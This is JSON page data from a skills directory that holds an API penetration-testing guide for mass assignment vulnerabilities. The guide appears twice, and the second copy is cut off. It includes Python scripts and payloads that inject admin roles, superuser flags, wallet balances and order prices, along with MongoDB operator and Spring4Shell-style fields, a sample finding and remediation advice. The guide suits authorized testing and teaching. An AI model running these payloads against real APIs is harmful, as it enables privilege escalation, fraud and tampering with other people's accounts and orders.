[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M76PC9A82TDQ3SBZ3CP2FANF":3,"skill-same:01M76PC9A82TDQ3SBZ3CP2FANF":71},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":35,"commitSha":36,"skillDirectory":5,"forksCount":14,"repositoryHtmlUrl":37,"repositoryHomepageUrl":6,"ownerHtmlUrl":38,"ownerBlogUrl":39,"ownerDescription":6,"updatedAt":40,"install":41,"resources":54},"01M76PC9A82TDQ3SBZ3CP2FANF","testing-api-for-mass-assignment-vulnerability",null,"Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment testing, parameter binding abuse, auto-binding vulnerability, or API over-posting.","SamuelChien\u002Fmega-skills-collection","SamuelChien","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F4652114?v=4","01M74KK34WVHA0P5ZYSJRDDFMG","Samuel Chien","01M74KK35FQN1N9VZ9EPTH3P2S",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-api-for-mass-assignment-vulnerability\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-api-for-mass-assignment-vulnerability\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: testing-api-for-mass-assignment-vulnerability\ndescription: >\n  Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify\n  object properties they should not have access to by including additional parameters in\n  API requests. The tester identifies writable endpoints, adds undocumented fields to request\n  bodies (role, isAdmin, price, balance), and checks if the server binds these to the data\n  model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization.\n  Activates for requests involving mass assignment testing, parameter binding abuse, auto-binding\n  vulnerability, or API over-posting.\ndomain: cybersecurity\nsubdomain: api-security\ntags: [api-security, owasp, mass-assignment, auto-binding, parameter-tampering]\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Testing API for Mass Assignment Vulnerability\n\n## When to Use\n\n- Testing API endpoints that accept JSON\u002FXML request bodies for user profile updates, registration, or object creation\n- Assessing whether the API binds all client-supplied properties to the data model without an allowlist\n- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints\n- Testing APIs built with ORMs that auto-bind request parameters to database models\n- Validating that server-side input validation restricts writeable properties per user role\n\n**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.\n\n## Prerequisites\n\n- Written authorization specifying target API endpoints and scope\n- Test accounts at different privilege levels\n- API documentation or OpenAPI specification to identify expected request fields\n- Burp Suite Professional for request interception and parameter injection\n- Python 3.10+ with `requests` library\n- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior\n\n## Workflow\n\n### Step 1: Identify Writable Endpoints and Expected Parameters\n\n```python\nimport requests\nimport json\nimport copy\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nuser_headers = {\"Authorization\": \"Bearer \u003Cuser_token>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Identify endpoints that accept write operations\nwritable_endpoints = [\n    {\"method\": \"POST\", \"path\": \"\u002Fusers\u002Fregister\", \"expected_fields\": [\"email\", \"password\", \"name\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"email\", \"avatar\"]},\n    {\"method\": \"PATCH\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"bio\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Forders\", \"expected_fields\": [\"items\", \"shipping_address\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Forders\u002F1001\", \"expected_fields\": [\"shipping_address\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fproducts\", \"expected_fields\": [\"name\", \"description\", \"price\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fcomments\", \"expected_fields\": [\"body\", \"post_id\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fsettings\", \"expected_fields\": [\"notifications\", \"language\"]},\n]\n\n# First, get the current user state as baseline\nbaseline_user = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Baseline user state: {json.dumps(baseline_user, indent=2)}\")\n```\n\n### Step 2: Inject Privileged Fields\n\n```python\n# Fields that should never be user-writable\nPRIVILEGE_FIELDS = {\n    \"role_elevation\": {\"role\": \"admin\", \"user_role\": \"admin\", \"userRole\": \"admin\",\n                       \"account_type\": \"admin\", \"accountType\": \"admin\"},\n    \"admin_flags\": {\"is_admin\": True, \"isAdmin\": True, \"admin\": True,\n                    \"is_superuser\": True, \"isSuperuser\": True, \"superuser\": True},\n    \"permission_override\": {\"permissions\": [\"*\"], \"scopes\": [\"admin:*\"],\n                           \"groups\": [\"administrators\"], \"roles\": [\"admin\"]},\n    \"account_status\": {\"is_active\": True, \"isActive\": True, \"verified\": True,\n                       \"email_verified\": True, \"is_verified\": True, \"status\": \"active\"},\n    \"financial\": {\"balance\": 99999.99, \"credit\": 99999, \"discount\": 100,\n                  \"price\": 0.01, \"amount\": 0.01},\n    \"ownership\": {\"user_id\": 1, \"userId\": 1, \"owner_id\": 1, \"ownerId\": 1,\n                  \"created_by\": 1, \"createdBy\": 1},\n    \"internal\": {\"internal_notes\": \"test\", \"debug\": True, \"hidden\": False,\n                 \"is_deleted\": False, \"is_featured\": True, \"priority\": 0},\n    \"temporal\": {\"created_at\": \"2020-01-01\", \"updated_at\": \"2020-01-01\",\n                 \"createdAt\": \"2020-01-01\", \"updatedAt\": \"2020-01-01\"},\n}\n\ndef test_mass_assignment(endpoint_info):\n    \"\"\"Test a writable endpoint for mass assignment vulnerabilities.\"\"\"\n    method = endpoint_info[\"method\"]\n    path = endpoint_info[\"path\"]\n    expected = endpoint_info[\"expected_fields\"]\n    findings = []\n\n    # Build a valid base request\n    base_body = {}\n    for field in expected:\n        if field == \"email\":\n            base_body[field] = \"test@example.com\"\n        elif field == \"password\":\n            base_body[field] = \"SecurePass123!\"\n        elif field == \"name\":\n            base_body[field] = \"Test User\"\n        elif field == \"items\":\n            base_body[field] = [{\"product_id\": 1, \"quantity\": 1}]\n        else:\n            base_body[field] = \"test_value\"\n\n    # Test each category of privileged fields\n    for category, fields in PRIVILEGE_FIELDS.items():\n        test_body = {**base_body, **fields}\n        resp = requests.request(method, f\"{BASE_URL}{path}\",\n                              headers=user_headers, json=test_body)\n\n        if resp.status_code in (200, 201):\n            # Verify if the fields were actually set\n            resp_data = resp.json()\n            for field_name, injected_value in fields.items():\n                actual = resp_data.get(field_name)\n                if actual is not None and str(actual) == str(injected_value):\n                    findings.append({\n                        \"endpoint\": f\"{method} {path}\",\n                        \"category\": category,\n                        \"field\": field_name,\n                        \"injected_value\": injected_value,\n                        \"confirmed\": True\n                    })\n                    print(f\"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted\")\n\n    return findings\n\nall_findings = []\nfor endpoint in writable_endpoints:\n    findings = test_mass_assignment(endpoint)\n    all_findings.extend(findings)\n\nprint(f\"\\nTotal mass assignment findings: {len(all_findings)}\")\n```\n\n### Step 3: Verify Assignment Through State Change\n\n```python\ndef verify_mass_assignment(field_name, injected_value, verification_endpoint=\"\u002Fusers\u002Fme\"):\n    \"\"\"Verify that the mass-assigned field actually persists in the database.\"\"\"\n    # Re-fetch the object to confirm the field was saved\n    resp = requests.get(f\"{BASE_URL}{verification_endpoint}\", headers=user_headers)\n    if resp.status_code == 200:\n        current_state = resp.json()\n        actual_value = current_state.get(field_name)\n        if actual_value is not None:\n            match = str(actual_value) == str(injected_value)\n            print(f\"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}\")\n            return match\n    return False\n\n# Test role elevation via profile update\nprint(\"\\n=== Role Elevation Test ===\")\n# Step 1: Check current role\nme = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Current role: {me.get('role', 'unknown')}\")\n\n# Step 2: Attempt to set admin role\nupdate_resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers=user_headers,\n    json={\"name\": me.get(\"name\", \"Test\"), \"role\": \"admin\"})\nprint(f\"Update response: {update_resp.status_code}\")\n\n# Step 3: Verify if role changed\nme_after = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Role after update: {me_after.get('role', 'unknown')}\")\nif me_after.get(\"role\") == \"admin\":\n    print(\"[CRITICAL] Mass assignment: Role elevated to admin\")\n\n# Step 4: Test admin access\nadmin_resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\", headers=user_headers)\nif admin_resp.status_code == 200:\n    print(\"[CRITICAL] Admin access confirmed after role elevation\")\n```\n\n### Step 4: Framework-Specific Testing\n\n```python\n# Ruby on Rails \u002F Active Record style\nrails_payloads = [\n    {\"user\": {\"name\": \"Test\", \"role\": \"admin\", \"admin\": True}},  # Nested under model name\n    {\"user[name]\": \"Test\", \"user[role]\": \"admin\"},                # Form-style nested\n]\n\n# Django REST Framework style\ndjango_payloads = [\n    {\"username\": \"test\", \"is_staff\": True, \"is_superuser\": True},\n    {\"username\": \"test\", \"groups\": [1]},  # Add to admin group by ID\n]\n\n# Express.js \u002F Mongoose style\nexpress_payloads = [\n    {\"name\": \"test\", \"__v\": 0, \"_id\": \"000000000000000000000001\"},  # Override MongoDB _id\n    {\"name\": \"test\", \"$set\": {\"role\": \"admin\"}},                     # MongoDB operator injection\n]\n\n# Spring Boot \u002F JPA style\nspring_payloads = [\n    {\"name\": \"test\", \"authorities\": [{\"authority\": \"ROLE_ADMIN\"}]},\n    {\"name\": \"test\", \"class.module.classLoader\": \"\"},  # Spring4Shell style\n]\n\n# Test each framework-specific payload\nfor payload in rails_payloads + django_payloads + express_payloads + spring_payloads:\n    resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers, json=payload)\n    if resp.status_code in (200, 201):\n        print(f\"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}\")\n```\n\n### Step 5: Order and Financial Object Mass Assignment\n\n```python\n# Test price\u002Famount manipulation in e-commerce APIs\nprint(\"\\n=== Financial Mass Assignment Tests ===\")\n\n# Test 1: Create order with manipulated price\norder_body = {\n    \"items\": [{\"product_id\": 42, \"quantity\": 1}],\n    \"shipping_address\": {\"street\": \"123 Test St\", \"city\": \"Test City\"},\n    # Injected fields\n    \"total\": 0.01,\n    \"subtotal\": 0.01,\n    \"discount_percent\": 100,\n    \"coupon_code\": \"FREEORDER\",\n    \"shipping_cost\": 0,\n    \"tax\": 0,\n}\n\nresp = requests.post(f\"{BASE_URL}\u002Forders\", headers=user_headers, json=order_body)\nif resp.status_code in (200, 201):\n    order = resp.json()\n    print(f\"Order created - Total: {order.get('total', 'N\u002FA')}, Discount: {order.get('discount_percent', 'N\u002FA')}\")\n    if float(order.get(\"total\", 999)) \u003C 1.0:\n        print(\"[CRITICAL] Price manipulation via mass assignment\")\n\n# Test 2: Modify order status\nresp = requests.patch(f\"{BASE_URL}\u002Forders\u002F1001\",\n    headers=user_headers,\n    json={\"status\": \"completed\", \"payment_status\": \"paid\", \"refund_amount\": 0})\nif resp.status_code == 200:\n    print(f\"[MASS ASSIGNMENT] Order status\u002Fpayment fields modified\")\n\n# Test 3: User balance manipulation\nresp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\u002Fwallet\",\n    headers=user_headers,\n    json={\"amount\": 10, \"balance\": 99999.99, \"currency\": \"USD\"})\nif resp.status_code == 200:\n    wallet = resp.json()\n    if float(wallet.get(\"balance\", 0)) > 10000:\n        print(\"[CRITICAL] Wallet balance manipulation via mass assignment\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Mass Assignment** | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |\n| **Auto-Binding** | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |\n| **Allowlist (Whitelist)** | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |\n| **Blocklist (Blacklist)** | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |\n| **Object Property Level Authorization** | OWASP API3:2023 - ensuring that users can only read\u002Fwrite object properties they are authorized to access |\n| **DTO (Data Transfer Object)** | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept write requests and inject additional parameters using Repeater and Intruder\n- **Param Miner (Burp Extension)**: Automatically discovers hidden parameters by fuzzing request bodies and headers\n- **Arjun**: Parameter discovery tool that finds hidden HTTP parameters in API endpoints\n- **OWASP ZAP**: Active scanner with parameter injection capabilities for mass assignment detection\n- **Postman**: API testing platform for crafting requests with injected parameters and verifying responses\n\n## Common Scenarios\n\n### Scenario: SaaS User Registration Mass Assignment\n\n**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.\n\n**Approach**:\n1. Register a new user with only expected fields: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Test\",\"email\":\"test@example.com\",\"password\":\"Pass123!\"}` - returns user with `role: \"user\"`\n2. Register another user with injected role: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Admin\",\"email\":\"admin@example.com\",\"password\":\"Pass123!\",\"role\":\"admin\"}` - returns user with `role: \"admin\"`\n3. Confirm admin access by calling admin endpoints with the new account\n4. Test additional fields: `is_verified: true` bypasses email verification, `subscription_plan: \"enterprise\"` grants premium features\n5. Test profile update endpoint: `PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme {\"name\":\"Test\",\"balance\":99999}` - wallet balance modified\n\n**Pitfalls**:\n- Only testing obvious fields like \"role\" and missing domain-specific fields like \"subscription_plan\", \"credit_limit\", or \"verified\"\n- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)\n- Assuming that blocklisting \"role\" prevents mass assignment when \"isAdmin\", \"is_admin\", or \"admin\" may also work\n- Not testing both creation (POST) and update (PUT\u002FPATCH) endpoints as they may have different filtering\n- Missing nested object mass assignment where fields like `user.role` or `address.verified` can be injected\n\n## Output Format\n\n```\n## Finding: Mass Assignment Enables Role Elevation via Registration API\n\n**ID**: API-MASS-001\n**Severity**: Critical (CVSS 9.8)\n**OWASP API**: API3:2023 - Broken Object Property Level Authorization\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fregister\n  - PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n  - POST \u002Fapi\u002Fv1\u002Forders\n\n**Description**:\nThe API binds all client-supplied JSON fields directly to the database model\nwithout filtering. An attacker can include undocumented fields in registration\nand update requests to elevate their role to admin, bypass email verification,\nmodify wallet balances, and manipulate order pricing.\n\n**Proof of Concept**:\n1. Register with injected role:\n   POST \u002Fapi\u002Fv1\u002Fregister\n   {\"name\":\"Attacker\",\"email\":\"attacker@evil.com\",\"password\":\"P@ss123!\",\"role\":\"admin\"}\n   Response: {\"id\":5001,\"name\":\"Attacker\",\"role\":\"admin\",\"is_verified\":false}\n\n2. Update profile with injected balance:\n   PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n   {\"name\":\"Attacker\",\"balance\":99999.99}\n   Response: {\"id\":5001,\"balance\":99999.99}\n\n3. Create order with manipulated price:\n   POST \u002Fapi\u002Fv1\u002Forders\n   {\"items\":[{\"product_id\":42,\"qty\":1}],\"total\":0.01}\n   Response: {\"order_id\":8001,\"total\":0.01}\n\n**Impact**:\nAny user can gain administrative access, manipulate financial data,\nbypass security controls, and purchase products at arbitrary prices.\n\n**Remediation**:\n1. Implement DTOs\u002Finput schemas that explicitly define allowed fields per endpoint per role\n2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)\n3. Never bind request parameters directly to the data model\n4. Add integration tests that verify undocumented fields are rejected\n5. Use an allowlist approach rather than blocklist for writable fields\n```\n","# Testing API for Mass Assignment Vulnerability\n\n## When to Use\n\n- Testing API endpoints that accept JSON\u002FXML request bodies for user profile updates, registration, or object creation\n- Assessing whether the API binds all client-supplied properties to the data model without an allowlist\n- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints\n- Testing APIs built with ORMs that auto-bind request parameters to database models\n- Validating that server-side input validation restricts writeable properties per user role\n\n**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.\n\n## Prerequisites\n\n- Written authorization specifying target API endpoints and scope\n- Test accounts at different privilege levels\n- API documentation or OpenAPI specification to identify expected request fields\n- Burp Suite Professional for request interception and parameter injection\n- Python 3.10+ with `requests` library\n- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior\n\n## Workflow\n\n### Step 1: Identify Writable Endpoints and Expected Parameters\n\n```python\nimport requests\nimport json\nimport copy\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nuser_headers = {\"Authorization\": \"Bearer \u003Cuser_token>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Identify endpoints that accept write operations\nwritable_endpoints = [\n    {\"method\": \"POST\", \"path\": \"\u002Fusers\u002Fregister\", \"expected_fields\": [\"email\", \"password\", \"name\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"email\", \"avatar\"]},\n    {\"method\": \"PATCH\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"bio\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Forders\", \"expected_fields\": [\"items\", \"shipping_address\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Forders\u002F1001\", \"expected_fields\": [\"shipping_address\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fproducts\", \"expected_fields\": [\"name\", \"description\", \"price\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fcomments\", \"expected_fields\": [\"body\", \"post_id\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fsettings\", \"expected_fields\": [\"notifications\", \"language\"]},\n]\n\n# First, get the current user state as baseline\nbaseline_user = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Baseline user state: {json.dumps(baseline_user, indent=2)}\")\n```\n\n### Step 2: Inject Privileged Fields\n\n```python\n# Fields that should never be user-writable\nPRIVILEGE_FIELDS = {\n    \"role_elevation\": {\"role\": \"admin\", \"user_role\": \"admin\", \"userRole\": \"admin\",\n                       \"account_type\": \"admin\", \"accountType\": \"admin\"},\n    \"admin_flags\": {\"is_admin\": True, \"isAdmin\": True, \"admin\": True,\n                    \"is_superuser\": True, \"isSuperuser\": True, \"superuser\": True},\n    \"permission_override\": {\"permissions\": [\"*\"], \"scopes\": [\"admin:*\"],\n                           \"groups\": [\"administrators\"], \"roles\": [\"admin\"]},\n    \"account_status\": {\"is_active\": True, \"isActive\": True, \"verified\": True,\n                       \"email_verified\": True, \"is_verified\": True, \"status\": \"active\"},\n    \"financial\": {\"balance\": 99999.99, \"credit\": 99999, \"discount\": 100,\n                  \"price\": 0.01, \"amount\": 0.01},\n    \"ownership\": {\"user_id\": 1, \"userId\": 1, \"owner_id\": 1, \"ownerId\": 1,\n                  \"created_by\": 1, \"createdBy\": 1},\n    \"internal\": {\"internal_notes\": \"test\", \"debug\": True, \"hidden\": False,\n                 \"is_deleted\": False, \"is_featured\": True, \"priority\": 0},\n    \"temporal\": {\"created_at\": \"2020-01-01\", \"updated_at\": \"2020-01-01\",\n                 \"createdAt\": \"2020-01-01\", \"updatedAt\": \"2020-01-01\"},\n}\n\ndef test_mass_assignment(endpoint_info):\n    \"\"\"Test a writable endpoint for mass assignment vulnerabilities.\"\"\"\n    method = endpoint_info[\"method\"]\n    path = endpoint_info[\"path\"]\n    expected = endpoint_info[\"expected_fields\"]\n    findings = []\n\n    # Build a valid base request\n    base_body = {}\n    for field in expected:\n        if field == \"email\":\n            base_body[field] = \"test@example.com\"\n        elif field == \"password\":\n            base_body[field] = \"SecurePass123!\"\n        elif field == \"name\":\n            base_body[field] = \"Test User\"\n        elif field == \"items\":\n            base_body[field] = [{\"product_id\": 1, \"quantity\": 1}]\n        else:\n            base_body[field] = \"test_value\"\n\n    # Test each category of privileged fields\n    for category, fields in PRIVILEGE_FIELDS.items():\n        test_body = {**base_body, **fields}\n        resp = requests.request(method, f\"{BASE_URL}{path}\",\n                              headers=user_headers, json=test_body)\n\n        if resp.status_code in (200, 201):\n            # Verify if the fields were actually set\n            resp_data = resp.json()\n            for field_name, injected_value in fields.items():\n                actual = resp_data.get(field_name)\n                if actual is not None and str(actual) == str(injected_value):\n                    findings.append({\n                        \"endpoint\": f\"{method} {path}\",\n                        \"category\": category,\n                        \"field\": field_name,\n                        \"injected_value\": injected_value,\n                        \"confirmed\": True\n                    })\n                    print(f\"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted\")\n\n    return findings\n\nall_findings = []\nfor endpoint in writable_endpoints:\n    findings = test_mass_assignment(endpoint)\n    all_findings.extend(findings)\n\nprint(f\"\\nTotal mass assignment findings: {len(all_findings)}\")\n```\n\n### Step 3: Verify Assignment Through State Change\n\n```python\ndef verify_mass_assignment(field_name, injected_value, verification_endpoint=\"\u002Fusers\u002Fme\"):\n    \"\"\"Verify that the mass-assigned field actually persists in the database.\"\"\"\n    # Re-fetch the object to confirm the field was saved\n    resp = requests.get(f\"{BASE_URL}{verification_endpoint}\", headers=user_headers)\n    if resp.status_code == 200:\n        current_state = resp.json()\n        actual_value = current_state.get(field_name)\n        if actual_value is not None:\n            match = str(actual_value) == str(injected_value)\n            print(f\"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}\")\n            return match\n    return False\n\n# Test role elevation via profile update\nprint(\"\\n=== Role Elevation Test ===\")\n# Step 1: Check current role\nme = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Current role: {me.get('role', 'unknown')}\")\n\n# Step 2: Attempt to set admin role\nupdate_resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers=user_headers,\n    json={\"name\": me.get(\"name\", \"Test\"), \"role\": \"admin\"})\nprint(f\"Update response: {update_resp.status_code}\")\n\n# Step 3: Verify if role changed\nme_after = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Role after update: {me_after.get('role', 'unknown')}\")\nif me_after.get(\"role\") == \"admin\":\n    print(\"[CRITICAL] Mass assignment: Role elevated to admin\")\n\n# Step 4: Test admin access\nadmin_resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\", headers=user_headers)\nif admin_resp.status_code == 200:\n    print(\"[CRITICAL] Admin access confirmed after role elevation\")\n```\n\n### Step 4: Framework-Specific Testing\n\n```python\n# Ruby on Rails \u002F Active Record style\nrails_payloads = [\n    {\"user\": {\"name\": \"Test\", \"role\": \"admin\", \"admin\": True}},  # Nested under model name\n    {\"user[name]\": \"Test\", \"user[role]\": \"admin\"},                # Form-style nested\n]\n\n# Django REST Framework style\ndjango_payloads = [\n    {\"username\": \"test\", \"is_staff\": True, \"is_superuser\": True},\n    {\"username\": \"test\", \"groups\": [1]},  # Add to admin group by ID\n]\n\n# Express.js \u002F Mongoose style\nexpress_payloads = [\n    {\"name\": \"test\", \"__v\": 0, \"_id\": \"000000000000000000000001\"},  # Override MongoDB _id\n    {\"name\": \"test\", \"$set\": {\"role\": \"admin\"}},                     # MongoDB operator injection\n]\n\n# Spring Boot \u002F JPA style\nspring_payloads = [\n    {\"name\": \"test\", \"authorities\": [{\"authority\": \"ROLE_ADMIN\"}]},\n    {\"name\": \"test\", \"class.module.classLoader\": \"\"},  # Spring4Shell style\n]\n\n# Test each framework-specific payload\nfor payload in rails_payloads + django_payloads + express_payloads + spring_payloads:\n    resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers, json=payload)\n    if resp.status_code in (200, 201):\n        print(f\"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}\")\n```\n\n### Step 5: Order and Financial Object Mass Assignment\n\n```python\n# Test price\u002Famount manipulation in e-commerce APIs\nprint(\"\\n=== Financial Mass Assignment Tests ===\")\n\n# Test 1: Create order with manipulated price\norder_body = {\n    \"items\": [{\"product_id\": 42, \"quantity\": 1}],\n    \"shipping_address\": {\"street\": \"123 Test St\", \"city\": \"Test City\"},\n    # Injected fields\n    \"total\": 0.01,\n    \"subtotal\": 0.01,\n    \"discount_percent\": 100,\n    \"coupon_code\": \"FREEORDER\",\n    \"shipping_cost\": 0,\n    \"tax\": 0,\n}\n\nresp = requests.post(f\"{BASE_URL}\u002Forders\", headers=user_headers, json=order_body)\nif resp.status_code in (200, 201):\n    order = resp.json()\n    print(f\"Order created - Total: {order.get('total', 'N\u002FA')}, Discount: {order.get('discount_percent', 'N\u002FA')}\")\n    if float(order.get(\"total\", 999)) \u003C 1.0:\n        print(\"[CRITICAL] Price manipulation via mass assignment\")\n\n# Test 2: Modify order status\nresp = requests.patch(f\"{BASE_URL}\u002Forders\u002F1001\",\n    headers=user_headers,\n    json={\"status\": \"completed\", \"payment_status\": \"paid\", \"refund_amount\": 0})\nif resp.status_code == 200:\n    print(f\"[MASS ASSIGNMENT] Order status\u002Fpayment fields modified\")\n\n# Test 3: User balance manipulation\nresp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\u002Fwallet\",\n    headers=user_headers,\n    json={\"amount\": 10, \"balance\": 99999.99, \"currency\": \"USD\"})\nif resp.status_code == 200:\n    wallet = resp.json()\n    if float(wallet.get(\"balance\", 0)) > 10000:\n        print(\"[CRITICAL] Wallet balance manipulation via mass assignment\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Mass Assignment** | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |\n| **Auto-Binding** | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |\n| **Allowlist (Whitelist)** | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |\n| **Blocklist (Blacklist)** | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |\n| **Object Property Level Authorization** | OWASP API3:2023 - ensuring that users can only read\u002Fwrite object properties they are authorized to access |\n| **DTO (Data Transfer Object)** | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept write requests and inject additional parameters using Repeater and Intruder\n- **Param Miner (Burp Extension)**: Automatically discovers hidden parameters by fuzzing request bodies and headers\n- **Arjun**: Parameter discovery tool that finds hidden HTTP parameters in API endpoints\n- **OWASP ZAP**: Active scanner with parameter injection capabilities for mass assignment detection\n- **Postman**: API testing platform for crafting requests with injected parameters and verifying responses\n\n## Common Scenarios\n\n### Scenario: SaaS User Registration Mass Assignment\n\n**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.\n\n**Approach**:\n1. Register a new user with only expected fields: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Test\",\"email\":\"test@example.com\",\"password\":\"Pass123!\"}` - returns user with `role: \"user\"`\n2. Register another user with injected role: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Admin\",\"email\":\"admin@example.com\",\"password\":\"Pass123!\",\"role\":\"admin\"}` - returns user with `role: \"admin\"`\n3. Confirm admin access by calling admin endpoints with the new account\n4. Test additional fields: `is_verified: true` bypasses email verification, `subscription_plan: \"enterprise\"` grants premium features\n5. Test profile update endpoint: `PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme {\"name\":\"Test\",\"balance\":99999}` - wallet balance modified\n\n**Pitfalls**:\n- Only testing obvious fields like \"role\" and missing domain-specific fields like \"subscription_plan\", \"credit_limit\", or \"verified\"\n- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)\n- Assuming that blocklisting \"role\" prevents mass assignment when \"isAdmin\", \"is_admin\", or \"admin\" may also work\n- Not testing both creation (POST) and update (PUT\u002FPATCH) endpoints as they may have different filtering\n- Missing nested object mass assignment where fields like `user.role` or `address.verified` can be injected\n\n## Output Format\n\n```\n## Finding: Mass Assignment Enables Role Elevation via Registration API\n\n**ID**: API-MASS-001\n**Severity**: Critical (CVSS 9.8)\n**OWASP API**: API3:2023 - Broken Object Property Level Authorization\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fregister\n  - PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n  - POST \u002Fapi\u002Fv1\u002Forders\n\n**Description**:\nThe API binds all client-supplied JSON fields directly to the database model\nwithout filtering. An attacker can include undocumented fields in registration\nand update requests to elevate their role to admin, bypass email verification,\nmodify wallet balances, and manipulate order pricing.\n\n**Proof of Concept**:\n1. Register with injected role:\n   POST 